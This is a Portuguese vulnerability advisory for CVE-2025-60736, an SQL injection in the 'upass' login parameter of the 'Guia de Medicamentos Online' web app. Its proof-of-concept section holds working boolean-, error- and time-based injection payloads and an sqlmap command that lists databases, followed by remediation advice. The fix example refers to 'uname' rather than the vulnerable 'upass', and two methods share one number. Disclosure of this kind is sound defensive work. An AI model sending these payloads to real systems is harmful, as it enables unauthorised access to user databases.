CVE-2025-60736: Vulnerabilidade de Injeção de SQL no Guia de Medicamentos Online
Resumo Executivo
Este documento descreve uma vulnerabilidade crítica de injeção de SQL descoberta no aplicativo web Guia de Medicamentos Online. A vulnerabilidade permite acesso não autorizado ao banco de dados e representa riscos significativos de segurança para o aplicativo e seus usuários.
Remetente
Produto Afetado
Detalhes Técnicos
- Linguagem de Programação: PHP
- Banco de Dados: MySQL
- Frontend: CSS, JavaScript
- Arquitetura: Pilha LAMP/WAMP
2. Detalhes da Vulnerabilidade
Classificação da Vulnerabilidade
- ID CVE: CVE-2025-60736
- Tipo de Vulnerabilidade: Injeção de SQL
- Gravidade: Crítica
- Pontuação CVSS: 9.8 (Crítica)
- Vetor de Ataque: Rede
- Complexidade do Ataque: Baixa
- Privilégios Necessários: Nenhum
- Interação do Usuário: Nenhuma
- Escopo: Alterado
Análise da Causa Raiz
A vulnerabilidade decorre de validação e sanitização insuficientes de entrada no arquivo /login.php. O aplicativo concatena diretamente a entrada do usuário do parâmetro upass em consultas SQL sem sanitização adequada ou declarações preparadas.
Causa Raiz Técnica:
- Concatenação direta de strings em consultas SQL
- Falta de validação e sanitização de entrada
- Ausência de implementação de declarações preparadas
- Vinculação de parâmetros insuficiente
3. Prova de Conceito
Localização da Vulnerabilidade
- Arquivo:
/login.php
- Parâmetro:
upass (POST)
- Vetor de Ataque: Manipulação de requisição HTTP POST
Métodos de Exploração
Método 1: Injeção de SQL Baseada em Booleano
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Método 1: Injeção de SQL Baseada em Erro
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Método 2: Injeção de SQL Cega Baseada em Tempo
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
Testes Automatizados
A vulnerabilidade foi confirmada usando sqlmap:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

- Correção de Emergência: Implementar validação de entrada para o parâmetro
upass
- Monitoramento do Banco de Dados: Ativar registro abrangente para atividades suspeitas
- Restrição de Acesso: Implementar limitação de taxa e restrições baseadas em IP
- Auditoria de Segurança: Realizar avaliação de segurança imediata
Exemplo de Correção de Código
Antes (Vulnerável):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
Depois (Seguro):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
Implementação de Boas Práticas de Segurança
- Declarações Preparadas: Usar consultas parametrizadas exclusivamente
- Validação de Entrada: Implementar validação baseada em lista de permissões
- Codificação de Saída: Codificar adequadamente todos os dados de saída
- Tratamento de Erros: Implementar tratamento seguro de erros sem divulgação de informações
- Controles de Acesso: Implementar autenticação e autorização adequadas
Versão do Documento: 1.0
Última Atualização: 03/10/2025 (dd/mm/aaaa)